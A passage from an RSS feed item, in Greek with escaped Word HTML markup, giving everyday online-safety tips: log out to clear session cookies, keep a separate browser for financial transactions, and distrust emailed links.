     αφήνετε ανοιχτό το session σε ένα ευαίσθητο site που είστε γραμμένοι. Με
     απλά λόγια, όταν τελειώνετε τις εργασίες σας να κάνετε πάντα logout,
     «έξοδος χρήστη» ή όπως αλλιώς λέγεται στο κάθε site ώστε να διαγράφονται
     τα session cookies.&lt;/li&gt;

&lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;mso-list:l1 level1 lfo2;mso-hyphenate:auto;tab-stops:list 36.0pt;"&gt;Να
     χρησιμοποιείτε έναν internet browser που να εκτελείτε τις οικονομικές σας
     συναλλαγές και γενικά που διαχειρίζεστε προσωπικά δεδομένα και έναν άλλον
     internet browser που θα είστε σε sites χαμηλής ή / και αμφιβόλου
     αξιοπιστίας.&lt;/li&gt;

&lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;mso-list:l1 level1 lfo2;mso-hyphenate:auto;tab-stops:list 36.0pt;"&gt;Να &lt;u&gt;ΜΗΝ&lt;/u&gt;
     ανοίγετε και να &lt;u&gt;ΜΗΝ&lt;/u&gt; εμπιστεύεστε ότι mail ή link σας δώσει κάποιος.
     Ακόμα κι αν αυτός σας είναι απόλυτα έμπιστος. Εν ανάγκη κάντε το copy και
     ανοίχτε το στον άλλον internet browser.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;Στον &lt;/span&gt;&lt;span&gt;internet&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; γενικότερα να μην έχετε εμπιστοσύνη ούτε στον
ίδιο σας τον εαυτό διότι ενίοτε μπορεί να είναι κάποιος... άλλος!&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/p&gt;</description></item></channel></rss>